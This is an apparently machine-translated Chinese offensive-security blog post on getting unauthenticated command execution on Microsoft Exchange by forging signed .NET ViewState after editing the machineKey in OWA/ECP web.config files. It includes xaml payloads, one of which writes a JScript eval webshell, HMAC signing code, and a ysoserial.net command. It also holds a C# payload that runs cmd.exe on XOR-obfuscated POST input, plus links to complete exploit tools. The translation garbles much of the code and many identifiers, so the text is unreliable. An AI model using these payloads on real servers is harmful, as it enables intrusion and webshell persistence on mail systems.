发布于2022年11月8日3年前 0x00 前言 上一篇文章《渗透技巧——从Exchange文件读写权限到命令执行》介绍了将视图状态从Exchange文件读写权限反序列化为通过命令执行的方法。Net,并分享了三种脚本的开发细节。本文将具体分析生成ViewState的细节,并介绍实现从Exchange文件读写权限到命令执行的另一个脚本开发细节。 参考资料: http://www . zcgonvh . com/post/weapon izing _ CVE-2020-0688 _ and _ about _ dot net _ deserialize _ vulnerability . html https://github.com/pwntester/ysoserial.net 0x01 简介 本文将介绍以下内容: 生成视图状态的两种实现方法 脚本开发的另一个细节。 开放源代码 0x02 背景知识 1.DotNet反序列化ViewState的实现原理 如果可以读取web.config文件的内容并获得加密密钥和算法,就可以构造有效的序列化数据。如果序列化数据被设置为恶意委托,当ViewState使用ObjectStateFormatter反序列化调用委托时,可以实现远程代码执行。 2.ViewState的生成流程 以validationkey和generator为参数,对序列化的xaml数据进行签名,放入序列化的xaml数据中,用Base64编码,形成最终的ViewStaten内容。 直觉理解: 数据=序列化(xaml) ViewState=data(数据生成器)。ComputeHash(验证密钥) ViewState=Base64(ViewState) 加密详细信息可在以下位置找到: https://github . com/pwntester/ysos erial . net/blob/master/ysos erial/Plugins/viewstateplugin . cs # L255 https://github.com/0xacb/viewgen/blob/master/viewgen#L156 具体使用dnSpy反编译System.Web.dll,找到system的GetEncodedData函数。web.configuration.machinekey节。 0x03 两种生成ViewState的实现方法 测试环境: 获得交换文件的读写权限后,可以修改% Exchange installpath % \ frontend \ http proxy \ OWA \ web . config和% Exchange installpath % \ frontend \ http proxy \ ECP \ web . config,设置machineKey的内容如下: 为了执行。Net反序列化命令,不再需要合法用户的凭据。 下面是生成视图状态的两种程序实现方法。 1.从xaml数据生成ViewState 流程如下: 构造xaml数据 生成序列化的xaml数据 生成签名数据 序列化xaml数据和签名数据,然后用Base64编码 (1)构建xaml数据 这里有四种,分别对应四种功能。 执行命令: cmd'/c记事本' 写文件: FrontEnd \ \ http proxy \ \ OWA \ \ auth \ \ xaml . aspx % @ Page Language=' Jscript ' % % eval(Request。项目['通过'],'不安全');% 注: 注意xaml的转义字符。 设置标题: 测试头123456 设置响应: 123456 (2)生成序列化的xaml数据 需要使用Microsoft.PowerShell.Editor.dll。 (3)生成签名数据 参考代码: byte[]validation key=strToToHexByte(key); uint _ client stateid=0; //将“生成器”从十六进制转换为整数 如果(!uint。TryParse(生成器,数字样式。文化信息。InvariantCulture,out _clientstateid)) 系统。环境。退出(0); byte[] _mackey=新字节[4]; _ Mackey[0]=(byte)_ clientstateid; _ Mackey[1]=(byte)(_ clientstateid 8); _ Mackey[2]=(byte)(_ clientstateid 16); _ Mackey[3]=(byte)(_ clientstateid 24); ms=new memory stream(); ms.Write(数据,0,数据。长度); 女士写(_麦基,0,_麦基。长度); byte[]hash=(new HMA csha 1(validation key))。compute hash(ms . ToArray()); 注: 代码修改自https://github . com/zcgonvh/CVE-2020-0688/blob/master/exchange cmd . cs # L253 (4)将xaml数据和签名数据拼接序列化,然后进行Base64编码。 呼叫转换。to base 64字符串() 的完整实现代码已上传至github,地址如下: https://github . com/3g student/Homework-of-C-Sharp/blob/master/xamltoviewstate . cs 该代码可以读取xaml文件,使用validationkey和generator计算签名,并生成最终的视图状态。 优势: 流程清晰,易于调试和修改细节。 缺点: 需要依靠中间文件Microsoft.PowerShell.Editor.dll,占用空间。 注: 该方法的完整使用文件已经打包并上传到github,地址如下: https://github . com/3g student/test/blob/master/xamltoviewstate . zip 2.从序列化xaml数据生成ViewState 借助ysoserial.net,可以跳过xaml数据到序列化xaml数据的链接,提高开发效率。 流程如下: (1)修改ysoserial.net源码,直接读取可用的序列化xaml数据 在https://github。com/pwn tester/ysos serial。net/blob/master/ysos serial/Plugins/viewstateplugin。cs # L209添加如下代码: 控制台WriteLine(payloadString); 控制台WriteLine('上面的内容就是我们需要的'); 控制台WriteLine(“-”); 能够在控制台输出Base64编码的序列化xaml数据 编译ysoserial.net,生成ysoserial.exe,在同级目录新建shellPayload.cs,内容如下: E类 { 静态字符串异或(字符串s) { char[]a=s . ToCharArray(); for(int I=0;一。长度;我) a[i]=(char)(a[i]^‘x’); 返回新字符串(一); } 公共e() { 系统HttpContext context=System .网络。HttpContext。目前的 语境服务器。清除错误(); 语境100 .回应。clear(); 尝试 { 系统。诊断。处理过程=新系统诊断。process(); 过程StartInfo。文件名=' cmd.exe 字符串cmd=上下文请求。表单[' _ _ Value ']; cmd=xor(cmd); 过程StartInfo。arguments='/c ' cmd; 过程StartInfo。重定向标准输出=true 过程StartInfo。RedirectStandardError=true 过程StartInfo。UseShellExecute=false 过程. start(); 字符串输出=流程标准产出。ReadToEnd(); 输出=异或(输出); 语境100 .回应。写(输出); } catch(系统。例外){ } 语境100 .回应。flush(); 语境100 .回应。end(); } } 使用ysoserial.exe生成视图状态,命令如下: yso serial . exe-p ViewState-g activity surrogateselectorfromfile-c '外壳有效负载。cs;系统。Web.dll;system . dll "-validation g=' SHA1 '-validation key=' CB 2721阿布达F8 e9 DC 516d 621 D8 b 8 BF 13 a2 C9 e 8689 a 25303 BF '-generator=' 042 a94 e 8 ' 从输出中获得Base64编码的序列化xaml数据 (2)计算序列化xaml数据的签名,生成最终的视图状态数据 代码如下: 静态字符串CreateViewState(byte[] dat,字符串生成器,字符串键) { 内存流ms=新内存流(); byte[]validation key=strToHexByte(key); uint _ client stateid=0; 如果(!uint .胰蛋白酶(生成器,数字样式。文化信息InvariantCulture,out _clientstateid)) { 系统。环境。退出(0); } byte[] _mackey=新字节[4]; _ Mackey[0]=(byte)_ clientstateid; _ Mackey[1]=(byte)(_ clientstateid 8); _ Mackey[2]=(byte)(_ clientstateid 16); _ Mackey[3]=(byte)(_ clientstateid 24); ms=新内存流(); ms Write(dat,0,dat).长度); 女士写(_麦基,0,_麦基。长度); byte[]hash=(新HMA csha 1(验证密钥)).计算哈希(ms . to array()); ms=新内存流(); ms Write(dat,0,dat).长度); ms.Write(哈希,0,哈希.长度); 返回转换. to base 64 string(ms . ToArray()); } 完整的实现代码已上传至github,地址如下: https://github。com/3g student/home-of-C-Sharp/blob/master/serializagemaltoviewstate。铯 代码实现了从序列化xaml数据计算签名,生成最终的视图状态数据 优点: 占用空间更小,可以直接使用ysoserial.net已有的有效载荷 缺点: 调试和修改比较麻烦 注: 以上两种实现方法的CreateViewState()函数在细节上存在区别,需要注意 0x04 另外一种利用脚本开发的细节 用来实现从交换文件读写权限到命令执行 参照https://github。com/zcgonvh/CVE-2020-0688/blob/master/exchange cmd。铯的结构,将序列化xaml数据封装在数组中,使用验证密钥和发电机作为参数,对序列化xaml数据进行签名,组成最终的视图状态内容 完整的实现代码已上传至github,地址如下: https://github。com/3g student/home-of-C-Sharp/blob/master/sharpexchangedeseriashell-no auth-activitysurrogateselectorfromfile。铯 代码在两个地方支持反序列化,即默认文件% exchange installpath % \ frontend \ http proxy \ OWA \ auth \ error Fe . aspx和% exchange installpath % \ frontend \ http proxy \ ECP \ auth \ time out logout . aspx 首先,代码发送ysoserial.net的数据以实现activity surrogate disable type check,然后它可以执行命令并获得命令执行的结果。它通过POST发送带参数__Value的数据,通信数据逐字符异或加密。 支持的函数与ExchangeSerializeShell-no auth-activity surrogate selectorfromfile . py一致。 0x05 小结 分析了生成视图状态的细节,介绍了两种生成视图状态程序的方法,并编写代码实现了从交换文件的读写权限到命令执行的另一个脚本。 留下回复
创建帐户或登录后发表意见